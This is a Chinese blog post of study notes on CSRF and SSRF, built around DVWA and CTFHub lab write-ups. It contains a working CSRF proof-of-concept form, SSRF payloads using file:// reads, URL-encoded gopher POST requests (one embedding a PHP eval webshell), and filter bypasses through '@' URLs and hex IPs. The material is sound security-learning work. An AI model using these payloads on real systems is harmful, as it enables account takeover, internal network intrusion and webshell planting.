CSRF和SSRF学习笔记

最新推荐文章于 2024-03-25 00:15:00 发布
最新推荐文章于 2024-03-25 00:15:00 发布
阅读量415 收藏 2
点赞数 1
分类专栏： web安全 文章标签： 安全 csrf php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/CyhDl666/article/details/113541983
版权

文章目录

CSRF

  • CSRF，本名为Cross-site requestforgery(跨站请求伪造）
  1. CSRF攻击过程
  • 目标用户已经登录了网站,能够执行网站的功能
  • 目标用户访问了攻击者构造的payload
  1. 漏洞存在原因
  • 没有有效的二次验证和token验证
  1. DVWA靶场里面有不同级别
  • LOW
  • 进去看发现只需要输入新的密码和确认新的密码就可以修改账号的密码,F12也没有发现token验证
    在这里插入图片描述
  • 直接抓包,利用burpsuit制造csrf文件,放根目录下,我现在的密码是123456
<html>
 <!-- CSRF PoC - generated by Burp Suite Professional -->
 <body>
 <script>history.pushState('', '', '/')</script>
   <form action="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/">
     <input type="hidden" name="password&#95;new" value="888888" />
     <input type="hidden" name="password&#95;conf" value="888888" />
     <input type="hidden" name="Change" value="Change" />
     <input type="submit" value="Submit request" />
   </form>
 </body>
</html>
  • 当我访问csrf.html文件的时候,并且点击Submit request,因为我已经登录了账号网页返回了cookie
  • 网页就会直接把我已经登录的账号密码修改掉
  • Medium 和low级别无差别
  • High抓包的时候需要在burpsuit中将级别改为low
  • impossible因为需要用户当前密码的二次验证,不知道当前密码就无法修改密码

SSRF

  • SSRF,全称Server Side RequestForgery—服务器端请求伪造
  • SSRF漏洞原理
    服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤的限制。
  • 主要攻击方式
    1. 对外网、服务器所在的内网、本地进行端口扫描,获取一些服务的banner信息
    2. 攻击运行在内网或本地的应用程序
    3. 对内网web应用进行指纹识别,识别企业内部的资产信息
    4. 攻击内外网的web应用,主要是使用HTTP GET请求就可以实现的攻击
    5. 利用file协议读取本地文件等
  • SSRF是在CTFHub学习的

内网访问

  • 尝试访问位于127.0.0.1的flag.php吧
  • 直接在url上加上/?url=http://127.0.0.1/flag.php
  • 就可以得到flag了

伪协议读取文件

  • 伪协议前面的文章已经说过很多次了
  • 和上道题目一样直接访问/?url=http://127.0.0.1/flag.php
    在这里插入图片描述
  • 页面返回???
  • 题目是伪协议 我们就用伪协议去读取/?url=file:///var/www/html/flag.php
    在这里插入图片描述

端口扫描

  • 题目已经提示了端口的范围为8000-9000
  • 爆破就完事了
    在这里插入图片描述在这里插入图片描述
  • 发送到Repeater中就可以得到flag了。

Gopher协议学习

  • Gopher是Internet上的一个信息查找系统,其将Internet上的文件组织成某种索引，将用户从Internet的一处带到另外一处。
  • Gopher协议支持发出GET、POST请求：可以先截获get请求包和post请求包，在构成符合gopher协议的请求
  • 利Gopher协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等，也可以发送 GET、POST 请求。
  • Gopher协议的格式
    URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流

CTFHUP:POST请求

  • 这道题我学了一下午
  • hint:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
  • 访问http://challenge-527e8656f5239cf0.sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php
  • 返回一个输入框 连个提交按钮都没有(前端可以自己造）
  • 不过我们可以通过file协议去读取文件源码
//index.php文件
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
?>


// flag.php
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>
  • 如果你直接在flag.php页面提交了key的值 它会返回Just View From 127.0.0.1,因为你的post参数传入的不是内网,而是你现在访问的地址，而这个文件只能通过内网访问
  • 那么接下来就要思考如何通过内网去访问了
  • 我们上面提到的Gopher协议在这里就体现出它的功能了
  • 首先我们上传key值的时候会抓包在这里插入图片描述
  • 抓包过后我们提取我们需要的信息,准备构造payload
  • 必须要有下面的内容
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=e51d59854bfe930e0bf1e608691914f6
  • 我们要做的是使得这个post请求传到的是?url=127.0.0.1/index.php上
  • 将上面构造的payload进行url编码,这里需要注意将换行的url编码由%0A换成%0D%0A
  • 经过三次编码得到下面的payload：
POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253De51d59854bfe930e0bf1e608691914f6
  • 将payload和url结合
/?url=127.0.0.1/index.php?url=gopher://127.0.0.1:80/_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253De51d59854bfe930e0bf1e608691914f6
  • 得到flag
    在这里插入图片描述
  • 后来询问了学校的大佬其实可以只编码两次然后直接上传?url=gopher://…部分 尝试了有效！！！！
  • 两次编码是url自己解码一次,gopher时候进行了一次编码
  • 三次编码就是url解码一次,gopher解码一次

CTFHUB:UPLOAD

  • 同样get上传?url=127.0.0.1/flag.php这次是一个upload文件
    在这里插入图片描述
  • 这里缺少一个submit按钮自己构造一下<input type="submit" name="submit">
    在这里插入图片描述
  • 提交后和上面的那道题一样Just View From 127.0.0.1
  • 又是一道需要通过内网去获取信息的题目
  • 读取一下源码
    ?url=file:///var/www/html/flag.php返回的有点问题和页面代码混起来了
 //falg.php
 <?php
​error_reporting(0);
​if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;
}
​if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
echo getenv("CTFHUB");
exit;
}
?>
​Upload Webshell
​<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
</form>
?>

// index.php
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])) {
    header("Location: /?url=_");
    exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
?>
  • 这道题不是真的需要你上传webshell,只要你上传任意一个文件到127.0.0.1的地址上就好了
  • 抓个包 和上面那道题一样获取所需要的信息做出payload
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520328%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AOrigin%253A%2520http%253A//challenge-03512614d3fa8330.sandbox.ctfhub.com%253A10080%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryraDVcM1y9juGcBJu%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/86.0.4240.198%2520Safari/537.36%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.9%250D%250AReferer%253A%2520http%253A//challenge-03512614d3fa8330.sandbox.ctfhub.com%253A10080/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250D%250AConnection%253A%2520close%250D%250A%250D%250A------WebKitFormBoundaryraDVcM1y9juGcBJu%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522shell.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%250D%250Aeval%2528%2524_POST%255Bwhoami%255D%2529%253B%250D%250A%253F%253E%250D%250A------WebKitFormBoundaryraDVcM1y9juGcBJu%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%250D%250A------WebKitFormBoundaryraDVcM1y9juGcBJu--%250D%250A

CGI 和 FastCGI 协议

  • CGI和FastCGI协议学习
  • 上面记录了我学习的网页，非常详细
  • 下面我会记录关于FastCGI协议的部分 方便自己复习,太理论,看着太吃力了。
  1. 概述:FastCGI 是一种通信协议;在 CGI 协议中，Web 应用的生命周期完全依赖于 HTTP 请求的声明周期,FastCGI 进程是常驻型的，一旦启动就可以处理所有的 HTTP 请求，而无需直接退出
  2. FastCGI协议的组成
  • 消息头信息
-Version: 用于表示 FastCGI 协议版本号。
-Type: 用于标识 FastCGI 消息的类型 - 用于指定处理这个消息的方法。
-RequestID: 标识出当前所属的 FastCGI 请求。
-Content Length: 数据包包体所占字节数。
  • 消息类型定义
- BEGIN_REQUEST: 从 Web 服务器发送到 Web 应用，表示开始处理新的请求。
- ABORT_REQUEST: 从 Web 服务器发送到 Web 应用，表示中止一个处理中的请求。比如，用户在浏览器发起请求后按下浏览器上的「停止按钮」时，会触发这个消息。
- END_REQUEST: 从 Web 应用发送给 Web 服务器，表示该请求处理完成。返回数据包里包含「返回的代码」，它决定请求是否成功处理。
- PARAMS: 「流数据包」，从 Web 服务器发送到 Web 应用。此时可以发送多个数据包。发送结束标识为从 Web 服务器发出一个长度为 0 的空包。且 PARAMS 中的数据类型和 CGI 协议一致。即我们使用 $_SERVER 获取到的系统环境等。
- STDIN: 「流数据包」，用于 Web 应用从标准输入中读取出用户提交的 POST 数据。
- STDOUT: 「流数据报」，从 Web 应用写入到标准输出中，包含返回给用户的数据。
  1. Web服务器和FastCGI交互过程
  • Web服务器接受用户请求,但最终处理请求由Web应用完成。此时Web服务器通过套接字连接到FastCGI进程
  • FastCGI进程查看接受=收到连接。选择[接受]或[拒绝]连接。如果是[接受]连接，则从标准输入流中读取数据包
  • 如果FastCGI进程中在指定时间内没有成功接收到连接,则该请求失败。否则，Web 服务器发送一个包含唯一的RequestID 的 BEGIN_REQUEST 类型消息给到 FastCGI 进程。后续所有数据包发送都包含这个 RequestID。 然后，Web 服务器发送任意数量的 PARAMS 类型消息到 FastCGI 进程。一旦发送完毕，Web 服务器通过发送一个空PARAMS 消息包，然后关闭这个流。 另外，如果用户发送了 POST 数据 Web 服务器会将其写入到 标准输入（STDIN） 发送给 FastCGI 进程。当所有 POST 数据发送完成，会发送一个空的 标准输入（STDIN） 来关闭这个流。
  • 同时，FastCGI 进程接收到 BEGINREQUEST 类型数据包。它可以通过响应 ENDREQUEST 来拒绝这个请求。或者接收并处理这个请求。如果接收请求，FastCGI 进程会等待接收所有的 PARAMS 和 标准输入数据包。 然后，在处理请求并将返回结果写入 标准输出（STDOUT） 流。处理完成后，发送一个空的数据包到标准输出来关闭这个流，并且会发送一个 END_REQUEST 类型消息通知 Web 服务器，告知它是否发生错误异常。
    以上内容来自前面给的网址
    这里还有补充FastCGI架构图与流程

CTFHUB:FastCGI

  • 明天再学！

CTFHUB:Redis

CTFHUB:URL Bypass

  • hint:请求的URL中必须包含http://notfound.ctfhub.com，来尝试利用URL的一些特殊地方绕过这个限制吧
  • 向给大家看一个神奇的东西
  • 访问www.baidu.com@www.4399.com页面跳转到4399界面
    在这里插入图片描述
  • 那么这道题我们也可以利用这个url解析所出现的问题
  • 直接访问?url=127.0.0.1/flag.php页面会显示hint的内容
  • 所以改url为?url=http://notfound.ctfhub.com@127.0.0.1/flag.php得到flag
  • 下面是原理的讲解
  • 在某些情况下，后端程序可能会对访问的URL进行解析，对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当，导致可以绕过过滤。
    http://www.baidu.com@www.4399.com
    后端的正则表达式过滤不够严谨的时候,比如将http之后到com为止的字符内容，也就是www.baidu.com，认为是访问请求的host地址时）对上述URL的内容进行解析的时候，很有可能会认为访问URL的host为www.baidu.com，而实际上这个URL所请求的内容都是www.4399.com上的内容。

CTFHUB:数字 IP Bypass

  • hint:这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢
  • 同样访问/?url=127.0.0.1/flag.php页面放回被ban的内容
  • 不能用十进制访问 那可以有八进制 十六进制嘛
  • /?url=0x7f.0x1/flag.php
  • 这里补充一点原本应该是0x7f.0x0.0x0.0x1/flag.php,但是127.0.0.1可以转化为127.1

CTFHUB:302跳转 Bypass

  • hint:SSRF中有个很重要的一点是请求可能会跟随302跳转，尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧
  • 为什么我直接输入?url=127.0.0.1/flag.php就得到了flag了

CTFHUB:DNS重绑 Bypass

海上清辉
关注
  • 1
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
SSRF（3）伪协议读取文件&Gopher协议的利用
m0_64417923的博客
05-12 4009
一：Http、Dict和file等协议的利用 1，内网访问 所以构造： /?url=http://127.0.0.1/flag.php 得到： ctfhub{ce475b59a4baee959112777b} 2，伪协议读取文件 最经典的PHP伪协议就是file:///协议了，可以用来读取php源码 构造payload： /?url=file:///var/www/html/flag.php 得到： 在单击右键查看源代码： 得到flag： ctfh..
SSRF漏洞学习
qi_SJQ_的博客
01-02 915
1.原理及成因 ssrf：服务端请求伪造，这个漏洞危害其实挺大的，外网直接打到内网，利用一台服务器上的web服务进而访问内网其他资产信息。 SSRF 形成的原因：大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等。 简而言之就是无法外网直接访问内网的其他主机，就能这个存在ssrf的主机当跳板来实现访问内网。 2.危险函数 主要是curl()函数，不过别的类似可以利用协议引入的函数也可以，比如file_get_.
JustView(Office、CAD、三维模型)在线预览平台调用说明
wcq792273687的博客
02-11 1003
自主开发justview在线预览平台，支持office、图片、pdf、cad、三维模型在线预览
xctf攻防世界 Web高手进阶区 upload1
l8947943的博客
08-03 9352
xctf攻防世界 Web高手进阶区 upload1
SSRF一—WEB攻防-SSRF服务端请求&Gopher伪协议&无回显利用&黑白盒挖掘&业务功能点
最新发布
zyw268的博客
03-25 315
黑盒WEB-业务功能&URL关键字。SSRF-原理&挖掘&利用&修复。白盒CTF-绕过&伪协议&审计点。
WEB攻防-SSRF服务端请求&Gopher伪协议&无回显利用&黑白盒挖掘&业务功能点
siu~
09-18 1498
1、SSRF-原理-外部资源加载 2、SSRF-利用-伪协议&无回显 3、SSRF-挖掘-业务功能&URL参数
SSRF（服务器端请求伪造）
qq_56289291的博客
08-02 1582
服务器端请求伪造（SSRFServer-SideRequestForgery）是一个Web安全漏洞，指攻击者诱导服务器将HTTP请求发送到攻击者选择的一个目标上。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。例如通过127.0.0.1就能访问本机，192.168.*.*就能访问内网C段。...
29 WEB漏洞-CSRF及SSRF漏洞案例讲解-附件资源
03-02
29 WEB漏洞-CSRF及SSRF漏洞案例讲解-附件资源
第29天：WEB漏洞-CSRF及SSRF漏洞案例讲解1
08-03
1、当用户发送重要的请求时需要输入原始密码 3、检验 referer 来源，请求时判断请求链接是否为当前管理员正在使用的页面（管理员在编辑文章， 4、设置验证码
Python学习笔记–Flask补充（一）
01-21
当然还包括一些其他的功能：CSRF保护，文件上传等。 安装方式 安装Flask-WTF会自动安装WTForms pip install flask-wtf 先来创建模板, 用于测试下面各项验证 在这里插入代码片 表单验证 在注册
漏洞原理——ssrf
m0_61869253的博客
10-14 331
SSRF (Server-Side Request Forgery，服务器端请求伪造) 是一种由攻击者构造请求，由服务端发起请求的安全漏洞，一般情况下，SSRF攻击的目标是外网无法访问的内网系统，也正因为请求是由服务端发起的，所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务，当作跳板进行攻击。攻击者利用了可访问Web服务器（A）的特定功能 构造恶意payload；
CTFHUB SSRF 【全】
Jay17的博客
04-17 1253
CTFHUB SSRF 题解 【全】
SSRF漏洞file伪协议之[网鼎杯 2018]Fakebook1
qq_58970968的博客
07-06 1464
关于SSRF漏洞（服务器端伪造）参考SSRF漏洞原理攻击与防御(超详细总结)_零点敲代码的博客-CSDN博客_ssrf漏洞防御SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）SSRF攻击可能存在任何语言编写的应用，接下来将举例php中可能存在SSRF漏洞的函数。1、file_get_
SSRF详解 基于CTFHub（上篇）
Bossfrank的博客
04-28 1784
本文简要介绍了SSRF服务端请求伪造的原理，并通过CTFHub的实例，介绍SSRF的基本原理、利用方式、绕过思路等。
通过ctfhub实操学习ssrf
不想当脚本小子的脚本小子
03-21 616
实战中碰到的SSRF漏洞比较少，刚好在freebuf上看到了一位大佬写的ssrf系统性学习文章（https://www.freebuf.com/articles/web/258365.html）就跟着一起学习一下。 SSRF,服务端请求伪造；一般情况下，SSRF攻击的目标是外网无法连接的内部系统，比如说当我们发现一个web服务器存在ssrf时，而它又连接内网，我们就可以利用这个服务器对内网发出一些请求来获取一些敏感信息，而此时的web服务器就被当作成为跳板使用； SSRF形成的原因是由于服务端提.
初识CTF Day4 CTFHUBSSRF
suxinAL的博客
10-02 2106
前言 这一次是对ssrf的探索，ctfhub技能树web就快结束了，期待淦进阶 正文 SSRF 内网访问 题目告诉访问127就直接访问下试试，但是没想到这么简单 ?url=127.0.0.1/flag.php 伪协议读取文件 题目提示：尝试去读取一下Web目录下的flag.php吧 可以联想到web目录一般是存放在 var/www/html/ 里面 所以payload如下 ?url=file:///var/www/html/flag.php 进入该页面，查看页面源代码得到flag 端口扫描 题目提示：来来
pikachu 跨站请求伪造 CSRF（POST）
全村的希望
10-23 1306
pikachu 跨站请求伪造 CSRF（POST）
CTFHub | 前端验证
尼泊罗河伯的博客
02-25 1626
前端验证是通过对客户端输入数据的合法性进行检查来确保数据是有效且安全的。通常，它会通过一系列简单的规则，如长度检查、格式检查、正则表达式匹配等，验证用户输入是否符合要求，以提高应用程序的安全性和可用性。
CTFHUB-SSRF-302跳转，Bypass(小宇特详解)
小宇的web博客
10-22 2573
CTFHUB-SSRF-302跳转，Bypass 这里利用ssrf先访问一下本地的127.0.0.1/flag.php 发现不能直接访问flag.php 这里查看一下网页源代码 file:///var/www/html/index.php <?php error_reporting(0); if (!isset($_REQUEST['url'])) { header("Location: /?url=_"); exit; } $url = $_REQUEST['url'];
csrf和ssrf区别
08-06
回答: CSRF 和 SSRF 是两种不同的攻击方式。 CSRF（Cross-Site Request Forgery，跨站请求伪造）攻击是由于服务器没有对用户提交的数据进行严格的控制，导致攻击者可以利用用户的身份信息（如 cookie）伪造用户身份，向服务器发送请求。攻击者可以通过构造特定的请求，诱使用户在受信任的网站上执行恶意操作，从而实现攻击目的。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值